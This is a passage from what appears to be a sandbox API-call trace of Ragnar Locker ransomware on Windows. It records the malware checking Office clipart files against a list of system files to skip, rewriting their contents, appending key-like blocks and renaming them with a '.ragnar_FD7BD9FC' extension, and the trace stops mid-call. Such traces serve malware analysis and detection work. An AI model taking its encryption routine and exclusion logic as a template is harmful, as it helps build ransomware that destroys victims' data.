(lpString1=".WMF", lpString2=".db") returned 1 [0086.733] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0086.733] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0086.733] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0086.733] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0086.733] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0086.733] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0086.733] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239611.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239611.wmf")) returned 0x20 [0086.734] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239611.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239611.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0086.734] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=33828) returned 1 [0086.734] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x841b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.734] GetProcessHeap () returned 0x580000 [0086.734] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0086.734] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0086.746] VirtualAlloc (lpAddress=0x0, dwSize=0x8424, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0086.746] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.746] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0086.746] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x8424, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x8424, lpOverlapped=0x0) returned 1 [0086.758] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0086.758] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x8424, nNumberOfBytesToLockHigh=0x0) returned 1 [0086.758] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x8424, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x8424, lpOverlapped=0x0) returned 1 [0086.759] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x8424, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0086.759] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.759] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x8424, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.759] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0086.759] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0086.759] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0086.759] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0086.759] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0086.759] GetProcessHeap () returned 0x580000 [0086.760] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0086.760] CloseHandle (hObject=0xf4) returned 1 [0086.760] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239611.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239611.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239611.WMF" [0086.760] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239611.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239611.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239611.WMF.ragnar_FD7BD9FC" [0086.760] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239611.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239611.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239611.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239611.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0086.760] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660ca390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1314, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0239935.WMF", cAlternateFileName="")) returned 1 [0086.761] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0086.761] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0239935.WMF" | out: lpString1="J0239935.WMF") returned="J0239935.WMF" [0086.761] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239935.WMF") returned=".WMF" [0086.761] lstrcmpiW (lpString1="J0239935.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0086.761] lstrcmpiW (lpString1="J0239935.WMF", lpString2="autorun.inf") returned 1 [0086.761] lstrcmpiW (lpString1="J0239935.WMF", lpString2="boot.ini") returned 1 [0086.761] lstrcmpiW (lpString1="J0239935.WMF", lpString2="bootfont.bin") returned 1 [0086.761] lstrcmpiW (lpString1="J0239935.WMF", lpString2="bootsect.bak") returned 1 [0086.761] lstrcmpiW (lpString1="J0239935.WMF", lpString2="bootmgr") returned 1 [0086.761] lstrcmpiW (lpString1="J0239935.WMF", lpString2="bootmgr.efi") returned 1 [0086.761] lstrcmpiW (lpString1="J0239935.WMF", lpString2="bootmgfw.efi") returned 1 [0086.761] lstrcmpiW (lpString1="J0239935.WMF", lpString2="desktop.ini") returned 1 [0086.761] lstrcmpiW (lpString1="J0239935.WMF", lpString2="iconcache.db") returned 1 [0086.761] lstrcmpiW (lpString1="J0239935.WMF", lpString2="ntldr") returned -1 [0086.761] lstrcmpiW (lpString1="J0239935.WMF", lpString2="ntuser.dat") returned -1 [0086.761] lstrcmpiW (lpString1="J0239935.WMF", lpString2="ntuser.dat.log") returned -1 [0086.761] lstrcmpiW (lpString1="J0239935.WMF", lpString2="ntuser.ini") returned -1 [0086.761] lstrcmpiW (lpString1="J0239935.WMF", lpString2="thumbs.db") returned -1 [0086.761] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0086.761] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0086.761] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0086.761] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0086.761] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0086.761] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0086.761] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0086.761] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239935.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239935.wmf")) returned 0x20 [0086.763] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239935.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239935.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0086.764] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=4884) returned 1 [0086.764] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x130b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.764] GetProcessHeap () returned 0x580000 [0086.764] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0086.764] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0086.776] VirtualAlloc (lpAddress=0x0, dwSize=0x1314, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0086.776] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.776] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0086.776] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1314, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1314, lpOverlapped=0x0) returned 1 [0086.777] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0086.777] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1314, nNumberOfBytesToLockHigh=0x0) returned 1 [0086.777] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1314, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1314, lpOverlapped=0x0) returned 1 [0086.778] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1314, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0086.778] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.778] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1314, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.778] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0086.778] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0086.778] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0086.778] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0086.778] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0086.778] GetProcessHeap () returned 0x580000 [0086.778] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0086.778] CloseHandle (hObject=0xf4) returned 1 [0086.778] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239935.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239935.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239935.WMF" [0086.778] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239935.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239935.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239935.WMF.ragnar_FD7BD9FC" [0086.778] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239935.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239935.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239935.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239935.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0086.779] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660ca390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1418, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0239941.WMF", cAlternateFileName="")) returned 1 [0086.779] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0086.779] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0239941.WMF" | out: lpString1="J0239941.WMF") returned="J0239941.WMF" [0086.779] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239941.WMF") returned=".WMF" [0086.779] lstrcmpiW (lpString1="J0239941.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0086.779] lstrcmpiW (lpString1="J0239941.WMF", lpString2="autorun.inf") returned 1 [0086.779] lstrcmpiW (lpString1="J0239941.WMF", lpString2="boot.ini") returned 1 [0086.779] lstrcmpiW (lpString1="J0239941.WMF", lpString2="bootfont.bin") returned 1 [0086.779] lstrcmpiW (lpString1="J0239941.WMF", lpString2="bootsect.bak") returned 1 [0086.779] lstrcmpiW (lpString1="J0239941.WMF", lpString2="bootmgr") returned 1 [0086.779] lstrcmpiW (lpString1="J0239941.WMF", lpString2="bootmgr.efi") returned 1 [0086.779] lstrcmpiW (lpString1="J0239941.WMF", lpString2="bootmgfw.efi") returned 1 [0086.780] lstrcmpiW (lpString1="J0239941.WMF", lpString2="desktop.ini") returned 1 [0086.780] lstrcmpiW (lpString1="J0239941.WMF", lpString2="iconcache.db") returned 1 [0086.780] lstrcmpiW (lpString1="J0239941.WMF", lpString2="ntldr") returned -1 [0086.780] lstrcmpiW (lpString1="J0239941.WMF", lpString2="ntuser.dat") returned -1 [0086.780] lstrcmpiW (lpString1="J0239941.WMF", lpString2="ntuser.dat.log") returned -1 [0086.780] lstrcmpiW (lpString1="J0239941.WMF", lpString2="ntuser.ini") returned -1 [0086.780] lstrcmpiW (lpString1="J0239941.WMF", lpString2="thumbs.db") returned -1 [0086.780] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0086.780] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0086.780] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0086.780] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0086.780] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0086.780] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0086.780] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0086.780] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239941.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239941.wmf")) returned 0x20 [0086.780] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239941.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239941.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0086.780] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=5144) returned 1 [0086.780] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x140f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.781] GetProcessHeap () returned 0x580000 [0086.781] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0086.781] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0086.792] VirtualAlloc (lpAddress=0x0, dwSize=0x1418, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0086.792] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.793] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0086.793] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1418, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1418, lpOverlapped=0x0) returned 1 [0086.793] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0086.793] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1418, nNumberOfBytesToLockHigh=0x0) returned 1 [0086.793] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1418, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1418, lpOverlapped=0x0) returned 1 [0086.794] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1418, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0086.794] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.794] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1418, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.794] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0086.794] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0086.794] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0086.794] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0086.794] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0086.794] GetProcessHeap () returned 0x580000 [0086.795] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0086.795] CloseHandle (hObject=0xf4) returned 1 [0086.795] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239941.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239941.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239941.WMF" [0086.795] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239941.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239941.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239941.WMF.ragnar_FD7BD9FC" [0086.795] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239941.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239941.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239941.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239941.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0086.795] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660ca390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1998, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0239943.WMF", cAlternateFileName="")) returned 1 [0086.795] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0086.795] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0239943.WMF" | out: lpString1="J0239943.WMF") returned="J0239943.WMF" [0086.796] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239943.WMF") returned=".WMF" [0086.796] lstrcmpiW (lpString1="J0239943.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0086.796] lstrcmpiW (lpString1="J0239943.WMF", lpString2="autorun.inf") returned 1 [0086.796] lstrcmpiW (lpString1="J0239943.WMF", lpString2="boot.ini") returned 1 [0086.796] lstrcmpiW (lpString1="J0239943.WMF", lpString2="bootfont.bin") returned 1 [0086.796] lstrcmpiW (lpString1="J0239943.WMF", lpString2="bootsect.bak") returned 1 [0086.796] lstrcmpiW (lpString1="J0239943.WMF", lpString2="bootmgr") returned 1 [0086.796] lstrcmpiW (lpString1="J0239943.WMF", lpString2="bootmgr.efi") returned 1 [0086.796] lstrcmpiW (lpString1="J0239943.WMF", lpString2="bootmgfw.efi") returned 1 [0086.796] lstrcmpiW (lpString1="J0239943.WMF", lpString2="desktop.ini") returned 1 [0086.796] lstrcmpiW (lpString1="J0239943.WMF", lpString2="iconcache.db") returned 1 [0086.796] lstrcmpiW (lpString1="J0239943.WMF", lpString2="ntldr") returned -1 [0086.796] lstrcmpiW (lpString1="J0239943.WMF", lpString2="ntuser.dat") returned -1 [0086.796] lstrcmpiW (lpString1="J0239943.WMF", lpString2="ntuser.dat.log") returned -1 [0086.796] lstrcmpiW (lpString1="J0239943.WMF", lpString2="ntuser.ini") returned -1 [0086.796] lstrcmpiW (lpString1="J0239943.WMF", lpString2="thumbs.db") returned -1 [0086.796] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0086.796] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0086.796] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0086.796] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0086.796] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0086.796] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0086.796] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0086.796] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239943.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239943.wmf")) returned 0x20 [0086.796] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239943.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239943.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0086.797] GetFileSizeEx (in: hFile=0xf4, 